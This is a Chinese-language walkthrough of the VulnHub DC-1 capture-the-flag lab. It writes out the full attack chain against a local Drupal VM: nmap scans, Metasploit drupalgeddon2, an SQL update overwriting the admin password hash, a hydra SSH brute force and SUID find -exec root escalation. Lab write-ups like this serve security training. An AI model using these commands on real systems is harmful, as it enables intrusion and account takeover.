https://www.vulnhub.com/series/dc,199/
環境搭建
- 靶機鏡像下載地址:https://www.vulnhub.com/entry/dc-1,292/;
- 需要將靶機和 kali 攻擊機放在同一個局域網里;
- 本實驗kali 的 IP 地址:192.168.10.146。
滲透測試
1. 信息收集
使用 nmap 掃描 192.168.10.0/24 網段存活主機
┌──(root💀kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24
分析可知,靶機 ip 為 192.168.10.147
對靶機進行端口掃描
┌──(root💀kali)-[~/桌面]
└─# nmap -sS 192.168.10.147
由結果可知,靶機開放了ssh、http和rpcbind服務。
探測對應服務的版本信息
┌──(root💀kali)-[~/桌面]
└─# nmap -sV -p22,80,111 192.168.10.147
web 指紋識別
┌──(root💀kali)-[~/桌面]
└─# whatweb http://192.168.10.147
發現該網站是 drupal[//]: # (Drupal是使用PHP語言編寫的開源內容管理框架(CMF),它由內容管理系統(CMS)和PHP開發框架(Framework)共同構成,在GPL2.0及更新協議下發布。),屬于 cms 系統之一。
訪問網站看一看…
也可以使用wapp插件查看網站基本信息。
很明顯,我們看到網站的 cms,可以直接在網上搜索這個 cms 的漏洞利用方式
2. 漏洞利用
使用 metasploit 對漏洞進行利用。
啟動 metasploit,搜索 drupal 模塊。
經測試可以采用exploit/unix/webapp/drupal_drupalgeddon2
,即:
配置參數(payload、rhosts、lhost),開始攻擊,成功建立會話。
查看網站目錄結構,發現 flag1:
查看 flag1.txt內容,有一個提示信息:需要一個 config file
進入系統的 shell,并使用python -c "import pty; pty.spawn('/bin/bash');"
獲得一個交互shell。
根據上面flag1.txt的提示,在網站目錄中尋找相應的配置文件(當然沒有提示,也應該尋找看一下,畢竟是敏感文件)。
內容如下:發現flag2、數據庫名、用戶名、密碼
flag2提示:“暴力和字典攻擊不是獲得訪問權限的唯一方法(你將需要訪問權限)。你能用這些證書做什么?”
使用獲取的數據庫用戶名和密碼登錄數據庫:
發現該用戶只能管理drupaldb數據庫。進入數據庫,查看庫中的表
發現有個users表
查看 users 表中的內容:由于列數比較多,查看內容比較亂,可以使用select * from users\G;
查看
或者:先看看表結構
查看name和pass列
該密碼不是普通的加密,有可能是網站自己的加密方式。嘗試搜索一下相關文件~
搜索到了一個./scripts/password-hash.sh
看似與密碼有關。查看文件內容,得知為php腳本,作用是生成一個hash密碼。
使用該腳本生成一個簡單的密碼,比如123456。將數據庫中的密碼覆蓋掉~
www-data@DC-1:/var/www$ php ./scripts/password-hash.sh 123456
覆蓋 admin 的密碼:
mysql> update users set pass="$S$D3JWVJTOOlXIz0t1Nf.8eg5MrBOqhCVsn.z7m/P4wf4H.OoLYlAf" where name="admin";
登錄網站:
登錄成功。
在 Dashboard 中發現 flag3 給的提示:
Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
特殊的PERMS將有助于找到passwd-但您需要執行該命令以確定如何獲取shadow中的內容。
查看 /etc/passwd 文件。
發現 flag4,flag4是一個普通用戶。
嘗試查看flag4用戶的家目錄,確實存在flag4.txt文件,
提示信息為:在root里?
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
當然如果沒有權限訪問/home/flag4/flag4.txt
,則需要登錄flag4用戶。由于該服務器也開放了 22 端口,我們可以使用hydra工具爆破flag4用戶的密碼:
┌──(root💀kali)-[~/桌面]
└─# hydra -l flag4 -P /usr/share/john/password.lst 192.168.10.147 ssh
爆破結果:密碼為orange。
使用 ssh 連接,發現最后一個 flag 的提示信息:in root。
進入 root 目錄,發現權限不夠,需要提權
3. 提權
首先想到使用 suid 提權找到一個屬于 root 的有 s 權限的文件。
- SUID(Set User ID),SUID 可以讓調用者以文件擁有者的身份運行該文件,所以我們利用 SUID 提權的思路就是運行 root 用戶所擁有的 SUID 的文件,那么我們運行該文件的時候就得獲得 root 用戶的身份了。
常見的可用于 SUID 提權的文件有:
find、bash、nmap、vim、more、less、nano、cp
//當沒有s權限時可以使用:chmod u+s 命令路徑,增加權限
查找哪些命令具備 SUID 標識
相關命令:
find / -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
使用find命令進行提權:
利用 find 命令隨便查找一個正確的文件(夾)路徑,后面加上 -exec shell 命令 \;
提權 /bin/bash
或者 /bin/sh
www-data@DC-1:/var/www$ find cron.php -exec "/bin/bash" \;
find cron.php -exec "/bin/bash" \;
bash-4.2$ find cron.php -exec "/bin/sh" \;
find cron.php -exec "/bin/sh" \;
# whoami
whoami
root
#
成功提權!拿到最后一個 falg!
Reference:DC-1
- https://blog.csdn.net/weixin_45677119/article/details/111770003